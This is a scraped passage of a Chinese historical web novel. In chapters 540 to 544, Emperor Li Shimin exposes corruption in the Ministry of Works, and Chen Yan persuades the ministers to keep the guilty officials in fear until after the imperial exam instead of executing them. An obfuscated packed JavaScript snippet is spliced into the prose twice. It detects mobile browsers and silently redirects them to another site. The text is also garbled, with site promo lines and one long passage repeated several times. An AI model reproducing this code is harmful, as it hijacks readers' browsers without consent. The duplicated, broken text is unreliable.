戴胄本就不是扭扭捏捏的人陈衍如此说他只是淡淡点了点头将恩情默默记在心里。 “对了戴公你知道你即将调到哪里去吗?” 陈衍想起一件事颇为好奇道。 “也没去哪里接替魏征的位置而已。”戴胄很坦然地说了出来。 听闻此话 如果是以前从户部尚书调任到秘书监毫无疑问是降职了。 毕竟秘书监怎么能跟户部尚书比呢? 但自从‘大唐民报’由秘书监掌管之后这个位置所代表的东西就没那么简单了。 随着‘大唐民报’日渐扩展现在的秘书监虽然从职级上低了户部尚书半级但手中的权力却是一点也不小。 而且备受李世民看重! 怎么说呢戴胄调任秘书监算不上升也算不上降但前景无疑是好了很多值得一句恭喜。 “啧~” 戴胄倒是无所谓这个他摸了摸下巴“最近朝堂的局势一变再变我有一种预感即将有大事发生。是除了王珪、魏征职位变动的大事。” “最近咱们都低调点就按照你定下的目标来吧。” 陈衍挑眉“我倒是跟戴公有不同的看法近期我的左眼皮一个劲地在跳我认为可能马上有好事要发生了。” “.” 第540章 愣着干什么?弯腰啊! 翌日,常朝。 起初大家都以为,今天是寻常的一天,如果陈衍不跳出来的话,大概是各部提起一些看似重要,实则也不必拿出来说的事,然后退朝,各忙各的。 然而,今日诸臣行礼之后,却没有听到无舌那句‘有事启奏,无事退朝’。 李世民缓缓从自己的位置上起身,一手背负,另一只手捏着一本折子走下来。 来到戴胄身边时,他微微侧头,“爱卿前些日子,与工部的段爱卿争执,曾言让段爱卿好好查查工部。” “戴爱卿,你现在依旧这么认为吗?” “当然!”戴胄毫不犹豫道:“建造一座科举用的建筑,五十万贯竟然还建不成,臣无论如何都不能相信!” “如果工部没问题,臣愿把这太极殿的柱子吃下去。” “戴胄.你.” 段纶一下子火了,就要怒斥出声,却被李世民抬手打断。 “好了,稍安勿躁!” “朝堂是用来干什么的?不就是用来商议朝政的地方吗?” 他淡淡道:“戴爱卿身为户部尚书,给工部多次批了钱财,只为建造一座用于科举的大殿,然而时间过去接近一年,有各部的支持,‘文明殿’还未建成不说,反倒是又说钱财不够了。” “你那天说戴爱卿不给你批钱才导致‘文明殿’迟迟未曾完工,现在他说你们工部有人中饱私囊,也未尝不可嘛。” 段纶不傻,相反,他很聪明。 要不然不至于跟李世民有点关系,就能坐到六部尚书的位置。 听到李世民一席话,他顿时意识到了不对。 段纶坚定道:“陛下,臣愿意把‘文明殿’各种花费的详细账本一一摆出来给诸君观看,臣问心无愧!” “好!”李世民来到他身前,死死盯着他的眼睛,“好一个问心无愧!” “你段纶是问心无愧了,可你往后看看,你手底下的人好像不是那么问心无愧啊!” 段纶微微一怔,下意识转头回望,从自己手底下几人眼中 都看到了惊慌。 “呵呵.朕也无需你把所谓的账本拿出来朕这里有段尚书不妨亲自看看?” 李世民随手将手中的折子抛给段纶后者冷汗刷一下就冒了出来手足无措的接住。 确实他段纶是问心无愧没有贪过一个铜钱。 但如果手底下真有人动了手脚那他的位置恐怕也坐到头了。 毕竟李世民有多看重科举是个人都清楚! 在建造科举之地的事情上出了差错谁都担不起这个责任! “对了!” 经过陈衍身边的时候李世民停下了脚步“听闻 “户部是如此工部更甚你们说其余六部三省这样的人会不会还有啊?” 这话太重了吓得大殿之内瞬间跪下了一大片说着冠冕堂皇、表示绝对没有的话。 “陈侍郎你怎么看?” 李世民问。 陈衍腰背挺直“臣还能怎么看?臣站着看!” “说起来不怕陛下笑话臣上任当天直言新官上任三把火问下面的人臣要不要效仿前辈也烧三把火。” “如果能找出贪官污吏就更好了还能为自己的履历添上一笔功绩。然后立刻就有人站出来信誓旦旦地告诉臣户部绝对没有那样的人还指天发誓呢。” “结果当天臣就让人指认了七八个蛀虫出来。” “嗯”李世民轻笑扬了扬下巴似笑非笑地盯着后面跪倒的一大片。 “陈侍郎所言极是反正说话又不要钱毒誓发得再狠上天也不会在意这点小事你们说呢?” “陛下.” 众臣要开口李世民不耐烦地打断大步重新回到自己的位置上坐下目光如刀盯着下面脸色苍白至极的段纶。 “好了朕的工部尚书现在由你来告诉朕什么样的青砖!彼其娘的要十五文钱一块?然后进了户部又变 成了土砖?” “啊!!!” “告诉朕!” 李世民压抑了一晚上的怒火再也无法忍住了,额头青筋绷起,近乎嘶吼的咆哮! 听到他的话,满朝哗然! 青砖? 十五文钱一块? 这**开什么玩笑? “呵呵.” 小说的域名caixs.com?(请来才 小说 看最新章节 完整章节) 戴胄不合时宜地笑出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009340|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,“前几日我便说了,段尚书该好好查查工部了,五十万贯,一年还没建成‘文明殿’也就只有你这样嗯,单纯的人,才会觉得没问题。” “哈哈.抱歉,一时间有些没忍住!” 陈衍嘴角抽搐,险些没憋住笑。 有亏你是真不吃啊! “陛下.臣.” “不用再说了,朕不想听!” 段纶正欲开口,李世民直接打断,“从今日起,段纶革去工部尚书一职,大理寺负责彻查工部**情况。工部尚书一职,暂时由中书令温彦博温爱卿担任!” 他认真盯着温彦博,用不可置疑的语气说:“明年科举之前,朕必须看到‘文明殿’修建完毕,可以正常使用!” “是!陛下,老臣领旨!” 温彦博自然不会在这个时候顶撞李世民,一口答应下来。 “其余六部,也必须全力配合工部,‘文明殿’的修建绝对不容有失,尔等明白了吗?” 其余五部之人皆作揖答应下来,只有户部的人,这个腰怎么就弯不下去。 韩仲良原本想跟着作揖的,但看着戴胄和陈衍一动不动,又不敢擅作主张。 李世民眼看这情况,当即黑了脸,“怎么?你们户部有意见?” 戴胄没吭声,陈衍心领神会,站出来,顷刻间把两辈子加起来的所有伤心事全想了一遍,硬是挤出一滴眼泪。 “陛下,我们户部苦啊!” “实在太苦了!” “刚被坑走了五十万贯,还得精打细算地规划着朝廷在秋收前所需的花费,如今工部这个情况赃款能不能拿回来还不好说,我们户部实在是拿不出钱了啊。” 李世民眼前一黑。 他属实没料到,陈衍这货上任之后,第一个哭穷的对象竟然是自己。 亏他从前还期待着陈衍跟其他要钱的人哭穷或者吵架呢。 现在好了,先哭到自己头上。 李世民眼角抽搐,额头的青筋消下又鼓起,怒道:“先从朕的内帑出钱!不用你们户部了!” “哎,好嘞,那臣没问题了!” “.你们还愣着干什么?弯腰啊!” 李世民:“.” 天杀的! “.” 第541章 你很懂礼? 回到甘露殿,李世民背着手,越想越气。 户部有没有钱,他还能不知道吗? 要知道,秋收才过去多久?此时正是户部最富裕的时候。 虽说要应对各种政事的花费,户部确实不能一下子拿出太多钱财来。 但十几二十万贯绝对是没问题的。 到了目前这种地步,先建成‘文明殿’难道不是最重要的吗? 是! 工部是有大量的人**了。 可那么大一笔赃款,他们敢大肆花吗? 先由户部出资垫上,等赃款追查回来,不依然落进了户部口袋吗? 但现在是啥情况? 户部啥都不用干,重新修建‘文明殿’跟他们一点关系没有,钱全由他出了。 等到赃款被追查回来,户部还能多一笔进账! 想清楚这点,李世民气得脑袋冒烟。 “这小子就是趁着朕在气头上,故意顶朕的!!” 无舌满脸无辜,他真的很想说一句。 陛下您现在才看出来吗? 戴胄和陈衍明显一瞬间想到了这一点,所以才在所有人都弯腰下跪的时候,依旧不为所动啊。 李世民一拍额头,“朕艹!” “去,给朕把魏征、房玄龄还有那个混账给朕叫过来!” 无舌将头埋得更低,心里清楚得很李世民最后说的是谁,当即领命下去,派人去请被点到名的人了。 殿内只剩李世民独自踱步,他想着想着,一下子更火了,忍不住骂道:“**!” “朕让你进户部,你第一个坑了程咬金,第二个坑尉迟恭,第三个就坑朕.王八犊子,真有你的!” “亏朕以前还信了你那句形同父子!” “朕艹了!” 不多时,被李世民点名的一众大臣全部到齐了。 从门口进来的时候,陈衍就一脸笑容,不断跟周围的大臣们说笑,甚至还上手揽人家的肩膀。 但一踏进殿内,陈衍神色瞬时一变,愁眉苦脸的,时不时还哀叹一句。 李世民坐在首位,见状不由冷笑,“陈子安,你好啊,你很好啊!” 陈衍抽了抽鼻子,“陛下何出此言呐?再说了,这里是甘露殿,陛下应该对臣的称呼有误,不合礼数!” “礼数?”李世民更气了,“你什么时候跟朕讲过礼数?你明明有妻子,还招惹我另外一个女儿,你讲礼数了?” “你在众人面前殴打公主,你讲礼数了?你半夜带人闯后宫,你讲礼数了?你**还带着太子” “哎哎哎!陛下,够了,够了哈~” “再说就不礼貌了” 眼看李世民越说越不对,陈衍赶紧制止。 其他的都好解释,他身份特殊,有点殊荣其实没什么,都可以用家事来定论。 可带着太子逛青楼,还逛了那么久,这就说不过去了。 毕竟是储君呐! 开不得玩笑! 李世民同样意识到了不对,往后扫了扫,诸大臣纷纷四十五度仰天,望着甘露殿的天花。 “待会再跟你算账!” 他小声逼逼了一句,神色缓和下来,“都坐吧。到了这里,还跟朕客气上了?” 房玄龄等人当真不客气,各自分两侧坐了下来。 陈衍坐在最后面。 没办法,以前是因为年龄小,现在不光因为年龄小,官位还低。 能来这里的,全是三品官! 就他一个例外! “说说吧,关于工部,你们认为打算如何处置?”李世民很直接,将李道宗查出来的工部**情况,让无舌一人给发了一份! 众人看完之后纷纷咂舌。 十五文钱一块青砖,是真狠啊! 这个价钱,都够买不少粮食了。 青砖确实贵,可也没贵到这种程度啊。 而且贵也就罢了,等到了施工的场所,大部分青砖又变成了土砖。 只有外面一层是由青砖建成的! 这已经不是用贪来形容简直称得上**到了根里。 戴胄气不过“入他娘工部这还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009341|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能叫工部吗?依我看叫污部算了拿着我户部的钱就这么办事关键事还没办成!” “一群臭虫!” “陛下!臣建议必须彻查到底而且要登报昭告天下然后选定一个日子将所有贪官当街斩首以儆效尤!” “不可!”长孙无忌严厉反驳“戴公你有些急了工部**如此我等难道就没有责任吗?” “再者昨日‘大唐民报’已经登载过陈侍郎快刀乱麻、铁面无私在户部找出那么多贪官现在又要将如此之大的疏忽由我们自己昭告出去百姓看到户部存在严重**情况而工部更是烂到了根里百姓该怎么看待我们?” “一次两次不怎么严重的天下百姓知晓只会拍手叫好可此等严重的情况爆出去恐怕有让天下百姓质疑朝堂的可能。” “一个两个全查出来贪官百姓难道不会想其他四部会不会同样有这样的情况吗?” 李世民点点头认为长孙无忌言语在理! 杜如晦和房玄龄思忖片刻皆是点头。 全透露出去固然可能让天下百姓对他们更为信任但也可能导致质疑产生。 没必要冒那么大的风险! 戴胄一噎心里的怒火依旧未曾消退“那你们怎么说?如此严重的**情况 温彦博此时缓缓开口“戴公不必着急我知你心中气不过不过现在陛下不是已经召集我等专门过来处理此事了吗?” “咱们心平气和坐下来慢慢谈!” 见他这样说戴胄才按捺住心里的怒火。 那些钱可都是他亲自批的条子跟割肉一样割出去的。 被工部的人如此糟蹋他实在气不过! 但温彦博都发话了他不好不听前者还是很有威望的。 温彦博沉吟道:“嗯我认为戴公所言在理此事定然是要严肃处置的杀一样要杀而且要当着长安百姓的面杀!” “不过辅机的话也不能忽视我们没必要为了一点名声主动寻找风险有着‘大唐民报’的我们实在不缺少名声。” “所以此事得在二者之间斟酌拿出一个大家都满意的方案来!” “.” 第542章 一定要杀吗? 思忖片刻,众人都觉得温彦博说得有道理。 李世民当即开口:“那依照温卿所言,怎么在二者之间斟酌,拿出一个大家都满意的解决方法呢?” 温彦博摇摇头,“这个老臣还未想好,只是给一个初步的意见,供大家商议。” “.魏征,你平时不很能说会道吗?你来说,说好了,朕立即命尚食局炒一盘菠菜给你吃!” “你要知道,在这个季节,菠菜有多么稀少不必朕多言,而且用的还是子安给的方法炒.” 李世民一番话,险些让众臣的表情没绷住,连温彦博这样的老臣,眼角止不住地抽搐。 魏征爱吃菠菜,而且吃起菠菜来毫无形象,此事不说人尽皆知,至少在这个小圈子里不是什么秘密! 作为当事人的魏征却没管别人怎么想,一脸的坦然。 爱吃菠菜又不是什么丢脸的事。 他顶多是没吃相了些嘛! 算不得什么。 “陛下,依臣所见,不如将消息控制在一个范围之内,由‘大唐民报’登载出去,再当着众多百姓的面斩杀贪官,以儆效尤!”魏征想了想,拱手道。 “哦?怎么一个控制方法?控制到什么地步呢?”李世民提出疑问。 “是这样的,前些时候,陈侍郎不是在户部查出了贪官?此事昨日已经登载了出去。我们可以用此事稍作文章,就说陛下听闻此事之后震怒,下令彻查六部,最后在工部也查出了部分问题。” “我们只需将一些品阶不高的官员推出来,作为明面上的贪官,其余的要么顺势一起杀了,要么暗中处理掉。” “如此一来,事情既不会闹大,让百姓产生质疑,更为陛下圣名再添上三分,岂不美哉?” “嗯你们看看,你们看看!”李世民抬手指着魏征,环顾众人,嘴上终于多了抹笑意。 “朕每次一说到给他菠菜吃,他脑子转得那叫一个快啊!” 小说的域名caixs.com?(请来才 小说 看最新章节 完整章节) 在场之人纷纷哈哈大笑起来,殿内原本颇为压抑的气氛消散一空,轻松起来。 长孙 无忌补了一句“不过这里有个前提是陛下您未曾将菠菜摆在魏公面前否则魏公恐怕什么都说不出来了。” 此言一出又引得众人哄笑魏征表情有点尴尬。 实在是李世民描绘的太过诱人了。 这个季节菠菜本就难寻估计是李世民好不容易保存下来的。 加上陈衍的炒菜他跟着李世民吃过几次其中的炒菠菜更是令他回味无穷一听口水就在分泌了。 可不得加加油多说两句吗? “陈子安你脑子拐得弯跟我们不同你来说说魏征的办法怎么样?”李世民心情好了起来顺势问了一句想看看陈衍能不能再给自己不同的意见。 陈衍看出来了在这里基本上可以畅所欲言跟常朝时大不相同故此没有那么多顾忌道:“魏公的办法自然是极好的我一时间也想不出更好的办法只是” “只是什么?” 李世民追问。 “只是我们好像忽略了一个问题。”陈衍顿了顿笑了“如齐国公此前所言户部存在贪官工部更为严重 “我们担心百姓这么想我们自己难不成就不想了吗?” “倘若查出其他四部亦不遑多让届时我们又该如何跟天下百姓解释呢?陛下连续震怒了四次?” 李世民:“.” 众大臣:“.” 好一个陛下连续震怒了四次。 你小子是懂说话的! 李世民笑容收敛并未在意这点言语上的小事“这也是朕所担忧的户部、工部尚且如此谁都无法保证其他四部、三省就一点问题没有!” “魏征的方法可行但只适用于当前我们应该考虑到长远之后啊” 魏征闻言急了。 办法给你出了你的要求我完成了。 以后的事能不能稍后再考虑先给我上一盘.不三盘!三盘菠菜啊! “我觉得吧没有必要执着于昭告天下昭告天 下的目的,无非在于让百姓看到咱们在做事。可这玩意让百姓看到再多,也没有让百姓多吃饱一分来得重要。” 杜如晦此时开口,“陛下,听您的意思,应该是要再度开始一次朝堂清洗,臣觉得此事没必要闹得人尽皆知,由官员们清楚就好了,毕竟我们的目的在于震慑官吏,登载‘大唐民报’给百姓看,收获名声只是顺带的而已。” “回到最初的问题,其实名声这东西,我们已经不缺了,哪怕不算‘大唐民报’,现在的粮价难道还不能肯定陛下与我等的功绩吗?” 他一针见血地指出了问题所在,说出的话让诸大臣陷入了沉思。 道理好像确实是这么个道理。 在当前的情况下,这应该是最好的解决办法了。 但李世民仍然不满意,摸着自己的小胡子思索着没说话。 他不开口,其他人也不敢开口,殿内一时便有些沉默了。 半晌,李世民皱了皱眉,目光转移到后面一个开始打哈欠的身影上,气笑了,“怎么?陈子安,早上没睡醒,想在朕这甘露殿继续睡会儿?” “.那倒也不用。” 陈衍干笑一声。 “既然不用,那你怎么不说话?方才给咱们出了个难题,你就在一旁打瞌睡了?合着朕叫你过来,就是让你给我们出难题的?” 陈衍没有一点点不好意思,理直气壮道:“陛下,这可不能怪我,先前可是您让我说的。现在我说了,您又不高兴。” “你这让我咋办呢?” “好了别废话!”李世民挥手,“你就跟朕说,你有没有办法?” “办法嘛自然是有的。”陈衍先是调动大家的胃口,随即缓缓开口:“你们考虑的都是,登载不登载,怎么杀,如何杀,为什么不能考虑一下.” “不杀呢?” “.” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 下的目的,无非在于让百姓看到咱们在做事。可这玩意让百姓看到再多,也没有让百姓多吃饱一分来得重要。 杜如晦此时开口,“陛下,听您的意思,应该是要再度开始一次朝堂清洗,臣觉得此事没必要闹得人尽皆知,由官员们清楚就好了,毕竟我们的目的在于震慑官吏,登载‘大唐民报’给百姓看,收获名声只是顺带的而已。 “回到最初的问题,其实名声这东西,我们已经不缺了,哪怕不算‘大唐民报’,现在的粮价难道还不能肯定陛下与我等的功绩吗? 他一针见血地指出了问题所在,说出的话让诸大臣陷入了沉思。 道理好像确实是这么个道理。 在当前的情况下,这应该是最好的解决办法了。 但李世民仍然不满意,摸着自己的小胡子思索着没说话。 他不开口,其他人也不敢开口,殿内一时便有些沉默了。 半晌,李世民皱了皱眉,目光转移到后面一个开始打哈欠的身影上,气笑了,“怎么?陈子安,早上没睡醒,想在朕这甘露殿继续睡会儿? “.那倒也不用。 陈衍干笑一声。 “既然不用,那你怎么不说话?方才给咱们出了个难题,你就在一旁打瞌睡了?合着朕叫你过来,就是让你给我们出难题的? 陈衍没有一点点不好意思,理直气壮道:“陛下,这可不能怪我,先前可是您让我说的。现在我说了,您又不高兴。 “你这让我咋办呢? “好了别废话!李世民挥手,“你就跟朕说,你有没有办法? “办法嘛自然是有的。陈衍先是调动大家的胃口,随即缓缓开口:“你们考虑的都是,登载不登载,怎么杀,如何杀,为什么不能考虑一下. “不杀呢? “. 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 下的目的,无非在于让百姓看到咱们在做事。可这玩意让百姓看到再多,也没有让百姓多吃饱一分来得重要。” 杜如晦此时开口,“陛下,听您的意思,应该是要再度开始一次朝堂清洗,臣觉得此事没必要闹得人尽皆知,由官员们清楚就好了,毕竟我们的目的在于震慑官吏,登载‘大唐民报’给百姓看,收获名声只是顺带的而已。” “回到最初的问题,其实名声这东西,我们已经不缺了,哪怕不算‘大唐民报’,现在的粮价难道还不能肯定陛下与我等的功绩吗?” 他一针见血地指出了问题所在,说出的话让诸大臣陷入了沉思。 道理好像确实是这么个道理。 在当前的情况下,这应该是最好的解决办法了。 但李世民仍然不满意,摸着自己的小胡子思索着没说话。 他不开口,其他人也不敢开口,殿内一时便有些沉默了。 半晌,李世民皱了皱眉,目光转移到后面一个开始打哈欠的身影上,气笑了,“怎么?陈子安,早上没睡醒,想在朕这甘露殿继续睡会儿?” “.那倒也不用。” 陈衍干笑一声。 “既然不用,那你怎么不说话?方才给咱们出了个难题,你就在一旁打瞌睡了?合着朕叫你过来,就是让你给我们出难题的?” 陈衍没有一点点不好意思,理直气壮道:“陛下,这可不能怪我,先前可是您让我说的。现在我说了,您又不高兴。” “你这让我咋办呢?” “好了别废话!”李世民挥手,“你就跟朕说,你有没有办法?” “办法嘛自然是有的。”陈衍先是调动大家的胃口,随即缓缓开口:“你们考虑的都是,登载不登载,怎么杀,如何杀,为什么不能考虑一下.” “不杀呢?” “.” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 下的目的,无非在于让百姓看到咱们在做事。可这玩意让百姓看到再多,也没有让百姓多吃饱一分来得重要。 杜如晦此时开口,“陛下,听您的意思,应该是要再度开始一次朝堂清洗,臣觉得此事没必要闹得人尽皆知,由官员们清楚就好了,毕竟我们的目的在于震慑官吏,登载‘大唐民报’给百姓看,收获名声只是顺带的而已。 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$(''.inform'').remove(); $(''#content'').append('' 何杀,为什么不能考虑一下. “不杀呢? “. 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 下的目的,无非在于让百姓看到咱们在做事。可这玩意让百姓看到再多,也没有让百姓多吃饱一分来得重要。 杜如晦此时开口,“陛下,听您的意思,应该是要再度开始一次朝堂清洗,臣觉得此事没必要闹得人尽皆知,由官员们清楚就好了,毕竟我们的目的在于震慑官吏,登载‘大唐民报’给百姓看,收获名声只是顺带的而已。 “回到最初的问题,其实名声这东西,我们已经不缺了,哪怕不算‘大唐民报’,现在的粮价难道还不能肯定陛下与我等的功绩吗? 他一针见血地指出了问题所在,说出的话让诸大臣陷入了沉思。 道理好像确实是这么个道理。 在当前的情况下,这应该是最好的解决办法了。 但李世民仍然不满意,摸着自己的小胡子思索着没说话。 他不开口,其他人也不敢开口,殿内一时便有些沉默了。 半晌,李世民皱了皱眉,目光转移到后面一个开始打哈欠的身影上,气笑了,“怎么?陈子安,早上没睡醒,想在朕这甘露殿继续睡会儿? “.那倒也不用。 陈衍干笑一声。 “既然不用,那你怎么不说话?方才给咱们出了个难题,你就在一旁打瞌睡了?合着朕叫你过来,就是让你给我们出难题的? 陈衍没有一点点不好意思,理直气壮道:“陛下,这可不能怪我,先前可是您让我说的。现在我说了,您又不高兴。 “你这让我咋办呢? “好了别废话! “办法嘛自然是有的。陈衍先是调动大家的胃口,随即缓缓开口:“你们考虑的都是,登载不登载,怎么杀,如何杀,为什么不能考虑一下. “不杀呢? “. 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 下的目的,无非在于让百姓看到咱们在做事。可这玩意让百姓看到再多,也没有让百姓多吃饱一分来得重要。 杜如晦此时开口,“陛下,听您的意思,应该是要再度开始一次朝堂清洗,臣觉得此事没必要闹得人尽皆知,由官员们清楚就好了,毕竟我们的目的在于震慑官吏,登载‘大唐民报’给百姓看,收获名声只是顺带的而已。 “回到最初的问题,其实名声这东西,我们已经不缺了,哪怕不算‘大唐民报’,现在的粮价难道还不能肯定陛下与我等的功绩吗? 他一针见血地指出了问题所在,说出的话让诸大臣陷入了沉思。 道理好像确实是这么个道理。 在当前的情况下,这应该是最好的解决办法了。 但李世民仍然不满意,摸着自己的小胡子思索着没说话。 他不开口,其他人也不敢开口,殿内一时便有些沉默了。 半晌,李世民皱了皱眉,目光转移到后面一个开始打哈欠的身影上,气笑了,“怎么?陈子安,早上没睡醒,想在朕这甘露殿继续睡会儿? “.那倒也不用。 陈衍干笑一声。 “既然不用,那你怎么不说话?方才给咱们出了个难题,你就在一旁打瞌睡了?合着朕叫你过来,就是让你给我们出难题的? 陈衍没有一点点不好意思,理直气壮道:“陛下,这可不能怪我,先前可是您让我说的。现在我说了,您又不高兴。 “你这让我咋办呢? “好了别废话!李世民挥手,“你就跟朕说,你有没有办法? “办法嘛自然是有的。陈衍先是调动大家的胃口,随即缓缓开口:“你们考虑的都是,登载不登载,怎么杀,如何杀,为什么不能考虑一下. “不杀呢? “. 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 下的目的,无非在于让百姓看到咱们在做事。可这玩意让百姓看到再多,也没有让百姓多吃饱一分来得重要。 杜如晦此时开口,“陛下,听您的意思,应该是要再度开始一次朝堂清洗,臣觉得此事没必要闹得人尽皆知,由官员们清楚就好了,毕竟我们的目的在于震慑官吏,登载‘大唐民报’给百姓看,收获名声只是顺带的而已。 “回到最初的问题,其实名声这东西,我们已经不缺了,哪怕不算‘大唐民报’,现在的粮价难道还不能肯定陛下与我等的功绩吗? 他一针见血地指出了问题所在,说出的话让诸大臣陷入了沉思。 道理好像确实是这么个道理。 在当前的情况下,这应该是最好的解决办法了。 但李世民仍然不满意,摸着自己的小胡子思索着没说话。 他不开口,其他人也不敢开口,殿内一时便有些沉默了。 半晌,李世民皱了皱眉,目光转移到后面一个开始打哈欠的身影上,气笑了,“怎么?陈子安,早上没睡醒,想在朕这甘露殿继续睡会儿? “.那倒也不用。 陈衍干笑一声。 “既然不用,那你怎么不说话?方才给咱们出了个难题,你就在一旁打瞌睡了?合着朕叫你过来,就是让你给我们出难题的? 陈衍没有一点点不好意思,理直气壮道:“陛下,这可不能怪我,先前可是您让我说的。现在我说了,您又不高兴。 “你这让我咋办呢? “好了别废话! “办法嘛自然是有的。陈衍先是调动大家的胃口,随即缓缓开口:“你们考虑的都是,登载不登载,怎么杀,如何杀,为什么不能考虑一下. “不杀呢? “. 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第543章 瞧瞧,咱又是子安了! “不杀?” 魏征心直口快,加上李世民承诺的菠菜一直没上来,本就有点着急上火,听闻此话,瞬间急了。 “你在开什么玩笑?工部腐败至此,今日陛下更是当着文武百官的面近乎直言,倘若不杀,叫朝堂百官怎么看?” “哦!不杀他们,今后的官员万一认为贪了钱,依然不会受到惩罚,那谁还能顶得住诱惑?不利用自己的职务之便贪污呢?” “魏公,你看你,又急!” 陈衍慢条斯理道:“我的意思你没能完全理解,我们做什么事,不都得考虑后果吗?如果只顾一时之快,固然能震慑百官,可事情不也到此为止了吗?” “我想问问诸位,这些年来,陛下杀的贪官还少吗?” 陈衍一一举例,“远的咱们就不说了,就谈谈贞观四年吧。我上任渭南县的县令,震动朝野的渭南税收案,死了多少人?黄河发洪灾的时候,陛下杀了多少贪官?” “八月份,陛下与世家冲突隐隐加剧,又寻了个理由杀了一批,到了年底清算,好嘛,又死不少人!” “贞观五年,也就是今年,贪官大家都没少查出来,同样没少杀吧?” “可这玩意儿,它杀得干净吗?” 一句反问,给众人全干沉默了。 是啊! 天下的贪官哪里能杀得干净? 连长安和周边的县城尚且如此,更远的地方就更不用说了。 很多人当官,不都是为了求财、求名吗? 谁都不例外! 当人手中掌握了权力,野心便自然而然地滋生、扩大! 有句话怎么说来着? 宰相门前七品官! 这句话实际上很有门道。 别看陈衍每次登杜如晦他们的门,门房一个个恭敬无比,恨不得把脑袋弯到胯下去。 但你换一个人来试试? 连一个门房尚且如此,就更不用说朝堂手掌大权的官员了。 “你方才说,做事考虑后果,具体说说看。” 半晌,李世民缓缓道。 陈衍思忖一会儿,道:“这句话很好理解,敢问诸位,户部先前查出了八九名贪官,当韩仲良把证据和人移交大理寺当天,便来问我和戴公,由谁来顶替这空出来的八九个位置。” “毕竟大家各司其职,每个人都有每个人的公务,少了多了都不行!” “然而工部的问题远 比户部严重,连一位工部侍郎都参与其中!” “我想问问诸位,你们杀了这批人,想好谁来顶替这些位置了吗?” 李世民默然,陈衍的想法在一定程度上跟自己不谋而合。 他的想法便是,先彻查工部,把科举要用到的‘文明殿’建造出来。 暗中派李道宗调查其余四部三省,待明年科举结果出来,自然便不缺人才了。 “天下英雄如过江之鲫,下去一批人,自然会有另外一批人顶上来!” 温彦博沉思道:“我们并非到了那种无人可用的地步,在下面,还不知道有多少人还在泥潭中挣扎,等待出头的一天!” “马周、李义府、张文瓘不就是最好的例子吗?” 他颇为不认同陈衍的话,所以特意道出了陈衍极其熟悉的几个名字。 而这三个人,之前也确实在最底层挣扎,但自身能力皆是不差。 只是没有被人挖掘,没有遇到合适的机遇。 “温书令敢保证重新提拔上来的人,不会跟之前的人一样,不贪吗?”陈衍再次反问。 然而就是这一问,让温彦博怔住了,摇头失笑,“陈侍郎说笑了,老朽又不能看透人心,怎能保证他们不贪呢?” “但我敢保证,不杀这些贪官,他们绝对不敢贪!”陈衍立即出声。 说出来的话,让所有人惊诧,眉头紧蹙。 细细思索,眉头又重新舒展开。 “这话......确实有道理啊!” 长孙无忌豁然开朗,忍不住乐,“经过今日陛下这一遭,工部尚书都被革职,满朝文武皆知陛下掌握了他们贪污的证据,我们若不对他们做出处置,他们日后定然活在惶恐之中,小心翼翼地做人,认认真真地做事!” “因为他们怕!怕陛下举起屠刀!” “天下,谁都清楚陛下对待贪官的态度是怎样的,前两年的例子实在太多了。” “所以......”李世民揪着小胡子,盯着下面的陈衍,“你的意思是,朕先举着剑,悬在他们头顶,让他们感觉随时会落下,但又不落下。” “先用着这批人,然后等科举结束,一举全清理了?” “陛下英明!”陈衍拱手,“如此一来,什么问题不都解决了吗?” “一来这些人对公务、流程本就熟悉,现在的当务之急是尽快建造‘文明殿’,杀了他们,换上一批新人,还有可能影响建造进度!” “不如先用着,顺便暗中调查其他四部三省、等科举结束,一举对整个朝堂进行一次史无前例的清洗,届时再用魏公的办法,陛下只需要震怒一次就好,岂不更好?” 李世民:“......” 好办法是好办法,可你能不能别提震怒这回事了? 我就一定要震怒吗? “一举清理......” 房玄龄有些迟疑,“这个要不要看看朝堂存在多少蛀虫先?” “万一太多的话,清理太多人,导致朝野根基不稳就不美了。” “量力而行嘛!”陈衍很是耐心,“寻求一个适当的处决尺度,其他的也可以先留着啊,按照老办法,在人家头顶悬一把剑就好了。” “况且,在座各位心里都清楚,明年到底有多么重要,三省六部绝不能出现任何差错,否则出了问题,谁都担不起责任啊......” 最后一句话落下,诸臣神色一变,肃然起来。 李世民眼露锋芒,起身朗声道:“子安说得在理,明年多重要,你们几个心里都很清楚,朕!绝不允许什么地方出问题!” “好了,废话不用多说,少数服从多数,认同子安、亦或者否认子安的,现在开始投票吧。” 陈衍一脸欣慰。 咱家二凤就是好哄! 瞧瞧,咱又是子安了! “......” 第544章 不苦你李世民,难道苦我户部不成? 紧接着,大家又商议了不少事,李世民都会询问一下陈衍的意见。 哪怕是什么都不懂的人,也清楚李世民对陈衍未来是怎样一种态度了。 直到临近中午,李世民才让众臣返回。 不过,就在陈衍想跟戴胄离开的时候,李世民忽然叫住了他,“等等,子安,你先别走。” 陈衍心头一紧。 不会吧? 不会还要跟我掰扯吧? 